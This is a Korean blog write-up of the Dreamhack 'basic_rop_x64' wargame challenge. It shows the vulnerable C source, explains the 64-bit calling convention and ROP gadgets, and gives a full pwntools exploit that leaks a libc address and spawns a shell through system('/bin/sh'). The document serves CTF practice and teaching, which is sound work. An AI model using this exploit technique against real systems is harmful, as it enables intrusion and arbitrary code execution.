Pwnable

[Dreamhack] basic_rop_x64 - write up

e_yejun 2023. 1. 15. 20:07

Index


basic_rop_x64
Description 이 문제는 서버에서 작동하고 있는 서비스(basicropx64)의 바이너리와 소스 코드가 주어집니다. Return Oriented Programming 공격 기법을 통해 셸을 획득한 후, "flag" 파일을 읽으세요. "flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다. 플래그의 형식은 DH{...} 입니다.
https://dreamhack.io/wargame/challenges/29/

이 문제는 64비트 버퍼오버플로우를 익스플로잇하는 가장 기본적인 문제이다.

필자의 풀이 환경은 Ubuntu 20.04 이다.

문제

문제에서 주어지는 파일이다. 친절하게 소스 파일까지 주어진다.

보호기법 확인

보호 기법은 위 사진과 같다. 웬만한 보호기법은 적용되지 않았다.

basic_rop_x64.c

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

문제 풀이

buf 변수는 0x40의 크기로 할당하고, 사용자 입력을 0x400 바이트를 받는다.

이 부분에서 버퍼오버플로우가 발생할 것이다. 정확한 버퍼 거리를 위해 gdb로 확인해보자.

read 함수의 두번째 인자로 buf의 주소를 넘겨주므로, rbp-0x40가 buf의 시작 주소가 된다.

그렇다면 buf+0x48은 이 함수 스택 프레임의 RET 값이고, 이 값을 변조할 수 있게 된다.

64비트는 32비트와는 다르게 함수를 호출할 때, 스택이 아닌 레지스터의 값을 참조한다.

이는 함수를 호출 방식을 약속한 것이기 때문에, 어떤 레지스터 순서로 참조하는지 알고 있어야 한다.

함수 호출 규약(Calling Convention)
함수 호출 규약(Calling Convention) - 함수를 호출하는 방식에 대한 약속. 1) 인자 전달 방법 2) 인자 전달 순서 3) 스택 프레임 정리 방법 스택 프레임(Stack Frame) - 함수를 호출할때 상위에서 진행되던 함수를 저장하고, 인자를 전달하기 위해 스택 프레임의 구조를 사용한다. main 함수가 실행되는 과정에서 A 함수가 호출된다면, A함수에 대한 인자를 약속된 순서대로 스택 프레임에 저장한다.
https://she11.tistory.com/120

이 부분을 제외하고는 32비트와 크게 다른 부분이 없다.

32비트에서의 가젯의 역할은 함수가 끝난 후 인자만큼 esp를 조정해주는데 사용되지만, 64비트는 적절한 레지스터에 pop을 해줘야 하므로 가젯의 역할이 조금 더 중요하다고 볼 수 있다.

1. 바이너리의 PLT 확인

puts의 plt가 있으므로, 우리는 puts라는 함수를 사용할 수 있다. 이것으로 실제 올라간 함수 주소를 릭하고, libc 시작 주소를 얻을 것이다.

2. 사용할 함수 인자에 맞는 Gadget 구하기

ROPgadget 이라는 툴을 통해 binary 안에 있는 Gadget을 확인할 수 있다.

ROPgadget --binary basic_rop_x86 | grep "pop"

우리가 사용할 함수는 puts와 system함수로 문제를 풀 것이므로, 인자가 한개가 사용된다.

인자가 하나일 때 rdi 레지스터를 사용하기 때문에, 우리는 pop rdi 가젯이 필요하다.

3. 익스플로잇 전략

  • RET에 pop rdi 가젯주소를 넣어서 puts@got를 rdi 레지스터에 넣어준다.

    → puts의 실제 함수 주소를 얻을 수 있고, 이를 통해 libc의 시작 주소를 얻는다.

  • libc의 시작 주소로 libc offset을 이용해서 system 함수와 /bin/sh 문자열 주소를 얻는다.
  • 이후 RET에 main함수로 다시 돌아와서 다시 버퍼오버플로우를 발생시킨다.
  • pop rdi 가젯으로 /bin/sh 문자열 주소를 rdi 레지스터에 넣어주고, system 함수를 호출한다.

익스플로잇

from pwn import *
context.log_level='debug'

p = process('./basic_rop_x64')
e = ELF('./basic_rop_x64')

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

#p = remote('host3.dreamhack.games', 12373)
#libc = ELF('./libc.so.6')

ret = 0x00000000004005a9
pop_rdi = 0x0000000000400883
puts_got = e.got['puts']
puts_plt = e.plt['puts']

# [1] libc leak
payload = b'A'*0x48
payload += p64(ret)

# puts(puts_got)
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(e.sym['main'])

p.send(payload)

p.recvuntil(b'A'*0x40)
puts = u64(p.recvn(6)+b"\x00"*2)
libc_base = puts - libc.sym['puts']
system = libc_base + libc.sym['system']
sh = libc_base + list(libc.search(b'/bin/sh'))[0]

print('[+] puts :',hex(puts))
print('[+] libc_base :',hex(libc_base))
print('[+] system :',hex(system))
print('[+] /bin/sh :',hex(sh))

# [2] exploit
payload = b'A'*0x48
payload += p64(pop_rdi)
payload += p64(sh)
payload += p64(system)

p.send(payload)

p.interactive()

익스플로잇 오류 및 해결방법

아무리 생각해도 익스플로잇 흐름이 맞는데, 익스가 안되는 경우가 있었다.

이 부분은 glibc 2.27 버전 이후에 movaps 명령어가 8바이트가 아닌 16바이트를 처리하기 때문에 16바이트 기준으로 맞춰줘야 한다.

그래서 익스 코드를 보면, 첫 RET에 ret 가젯으로 16바이트를 맞춰준 것을 확인할 수 있다.

ret 가젯을 넣지 않았을 경우, 아래 사진처럼 첫 send에서 0x68 바이트를 전송하여 16바이트로 맞춰지지 않은 것을 확인할 수 있다. 익스가 잘 되지 않는다면, 확인해보면 좋을 것 같다.

위 사진과 같은 디버깅 창을 나타내고 싶다면, 익스 코드 위에 context.log_level='debug'를 추가해주면 된다.


Uploaded by N2T